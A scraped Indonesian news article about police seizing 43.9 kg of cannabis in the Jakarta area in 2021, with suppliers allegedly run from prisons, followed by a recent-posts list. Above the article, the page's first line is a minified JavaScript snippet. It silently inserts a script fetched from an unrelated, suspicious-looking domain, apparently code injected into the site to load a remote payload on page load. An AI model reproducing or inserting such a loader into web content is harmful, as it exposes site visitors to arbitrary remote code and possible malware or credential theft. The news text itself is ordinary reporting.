(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Ganja 43 Kg Diungkap Polisi, Lapas Masih Jadi ‘Pengendali’ Barang Haram


KANALKALIMANTAN.COM – Direktorat Reserse Narkoba (Ditresnarkoba) mengungkap kasus pengedaran ganja seberat 43,9 kilogram. Puluhan ganja itu diamankan dari tiga lokasi berbeda.

Kabid Humas Polda Metro Jaya Kombes Pol Yusri Yunus mengatakan 24 kilogram ganja berhasil diamankan dari dua orang tersangka berinisial MY dan NS. Keduanya ditangkap di wilayah Cikarang, Bekasi, Jawa Barat, pada 21 Juli 2021.

“Ini masih kita kembangkan lagi, karena ganja ini dari lintas pulau,” kata Yusri di Polda Metro Jaya, Jakarta, Rabu (4/8/2021).

Selanjutnya, pada 29 Juli 2021 penyidik kembali membongkar kasus peredaran narkoba seberat 13,9 kilogram. Dalam kasus ini penyidik mengamankan satu orang tersangka berinisial DR.

 

 

Baca juga: Covid-19 Masih Tren Naik di Banjarbaru, 9 RS Diminta Siap Tangani Pasien

Dari hasil penyidikan, DR mengaku memperoleh ganja tersebut dari seseorang berinisial CG yang tengah mendekam di salah satu lembaga pemasyarakatan atau Lapas.

“Tim sudah berkoordinasi dengan pihak Lapas dan bisa mengamankan tersangka CG,” ujar Yusri.

Sedangkan 6 kilogram ganja lainnya berhasil diamankan dari tersangka berinisial AS dan SY. Keduanya ditangkap di Tangerang, Banten, pada 2 Agustus 2021.

 

Baca juga: KRONOLOGI. Penemuan Perempuan Terikat Seutas Tali di Banjarbaru

“Interogasi dari tersangka AS dan SY didapat keterangan narkotika jenis ganja didapat dari DS yang di ketahui berada di Lapas,” ungkap Yusri.

Atas perbuatannya para tersangka dijerat dengan Pasal 114 Ayat (2) Subsider Pasal 111 Ayat (2) Juncto Pasal 132 Ayat (1) Undang-Undang RI Nomor 35 Tahun 2009 tentang Narkotika. Mereka terancam hukuman maksimal pidana mati. (Suara.com)

Editor : kk


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.